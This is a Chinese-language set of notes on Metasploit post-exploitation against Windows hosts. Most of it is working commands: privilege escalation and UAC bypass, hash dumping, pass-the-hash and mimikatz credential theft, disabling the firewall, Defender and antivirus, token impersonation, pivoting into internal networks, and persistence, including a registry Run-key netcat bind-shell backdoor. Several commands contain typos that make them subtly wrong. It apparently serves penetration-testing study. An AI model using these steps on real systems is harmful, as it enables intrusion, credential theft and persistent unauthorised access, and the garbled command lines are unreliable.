MetaSploit利用后渗透阶段
0x00 Metasploit体系框架
基础库:Rex framework-core framework-base
模块:辅助模块(Aux)、渗透攻击模块(Exploits)、后渗透攻击模块(Post)、攻击载荷模块(payloads)、编码器模块(Encoders)、空指令模块(Nops)。
payloads主要建立目标机和攻击机之间的通信模块,返回shell,进行程序注入。
攻击步骤:
1、查找CVE公布的漏洞
2、查找有对应的exploit模块 run
3、配置模块参数 设置 RHOST
4、添加payload后门 找到相应的payload 设置LHOST
5、执行exploit开始攻击 run 利用payload反弹对方的shell
msf相关命令分类:
核心命令: Core Commands
模块命令: Module Commands
后台任务命令: Job Commands
资源脚本命令: Resource Script Commands
数据库后端命令: Database Backend Commands
证书/凭证后端命令: Credentials Backend Commands
开发人员命令: Developer Commands
connect search show use Rank(排序) excellent great good normal average low manual
基本常用命令
get 获取特定于上下文的变量的值
grep 另一个命令的输入
sessions 转储会话列表并显示有关会话的信息
set 将特定于上下文的变量设置为一个值
back 从当前上下文返回
info 显示全局选项或一个或多个模块
search 搜索模块名称和描述
use 按名称选择模块
jobs 显示和管理作业
kill 杀死一个工作
db_export 导出包含数据库内容的文件
db_import 导入扫描结果文件(文件类型将被自动检测)
creds 列出数据库中的所有凭据
0x01.权限提升:权限提升的几种方式
提高程序运行级别 getuid getsystem
Msf模块
exploit/windows/local/ask
UAC绕过
Msf模块
exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_injection
exploit/windows/local/bypassuac_vbs
利用提权漏洞进行提权
exploit/windows/local/ms14_058_track_popup_meun
0x02.信息收集:服务器信息、Hash、防火墙杀毒软件、账号密码
Msf模块
run post/windows/gather/forensics/enum_drives 获取目标主机的分区情况
run post/windows/gather/checkvm 判断对方主机是否为虚拟机
run post/windows/gather/enum_services 检测靶机开启了哪些服务
post/windows/gather/enum_shares 查看共享
post/windows/gather/dumplinks 查看主机最近的系统操作
post/windows/gather/enum_patches 查看补丁
scraper 脚本
Winenum 脚本
抓包与解包
抓包
加载sniffer: load sniffer
查看网卡信息: sniffer_interface
开启监听: sniffer_start
导出数据包: sniffer_dump 1 1.cap
解析包(就是查看这个包的意思) auxiliary/sniffer/psnuffle
PassingTheHash
Windows系统下的hash密码格式为: 账号:RID:LM-HASH:NT-HASH
获取Hash值 离线破解hash工具findmyhash
Hashdump Run post/windows/gather/smart_hashdump
破解Hash值
在线破解:http://cracker.offensive-security.com/
离线破解:findmyhash
Hash传递 直接使用获取到的hash串进行账号登录
Psexec: use exploit/windows/smb/psexec
通过修改注册表的一些键值可以更改计算机的一些设置:例如关闭系统UAC
reg.exe ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnavleLUA /t REG_DWORd /d 0 /f
关闭防火墙及杀毒软件
关闭防火墙
netsh advfirewall set allprofiles state off (管理员及以上与权限)
关闭Defender
net stop winderfend
关闭DEP
bcdedit.exe / set {current} nx AlwaysOff
关闭杀毒软件
run killav
run post/windows/manage/killava
远程桌面
开启远程桌面:
run post/windows/manage/enable_rdp
run getgui -e
关闭远程桌面命令:
run multi_console_command -r *.txt
开启远程桌面并添加一个新用户bean:
run getgui -u bean -p ean
开启远程桌面并绑定在8888端口: kali自带的远程桌面 rdesktop
run getgui -e -f 8888
截图:
load espia
screengrab
令牌假冒攻击:Tokens
Login Session:不同账号登录产生不同的登录Session,代表不同的账号权限
load incognito: 不用获取账号密码窃取token将自己伪装成合法用户,域账提取,execute利用当前伪造的token执行
0x03.内网渗透:端口转发、代理跳板
跳板攻击
Pivoting: 利用已经被入侵的主机作为跳板来攻击网络中的其他系统
自动路由:
run autoroute -s 192.168.103.0/24
run post/multi/manage/autoroute
利用win7攻击内网服务器
扫描内网网络:
run post/windows/gather/arp_scanner rhosts=192.168.103.0/24
use auxiliary/scanner/portscna/tcp
Socket代理: auxiliary/server/socks4a
ProxyChains: 启用代理之后使用该工具进行其他扫描
proxychains nmap -sT -sV -Pn -n -p22,80,135,139,445 --script=smb-vuln-ms08-067.nse 192.168.103.128(靶机IP)
Mimikatz(插件):能从Windows认证(LSASS)的进程中获取内存,获取明文密码和NTLM哈希值
load mimikatz
msv导出Hash和认证信息、Kerberos导出认证信息、wdigest获取本地用户信息及密码
mimikatz_command -f samdump::hashes
0x04.后门植入:永久后门维持权限
meterpreter后门:
metsvc 通过服务启动: run metsvc -A #设定端口,上传后门文件
persistence 通过启动型启动(定期回连,系统启动时回连,自动运行:
run persistence -A -S -U -i 60 -p 4321 -r 192.168.101.12(靶机IP)
NC后门:
上传nc:(在meterpreter窗口)中 upload /root/nc.exe C:\\windows\\system32
修改注册表(用途特别广):reg
枚举注册表键值:
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
在当前主键下增加一个nc键值:
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d ‘C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe’
查看nc键值:
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc
设置防火墙:
开启一个cmd的通道 execute -f cmd -i -H
查看防火墙状态 netsh fierwall show opmode
添加防火墙规则允许444端口通过 netsh firewall add portopening TCP 445 “Service Firewall” ENABLE
查看端口状态 netsh firewall show portopening
开始连接:nc -v ip(靶机ip) port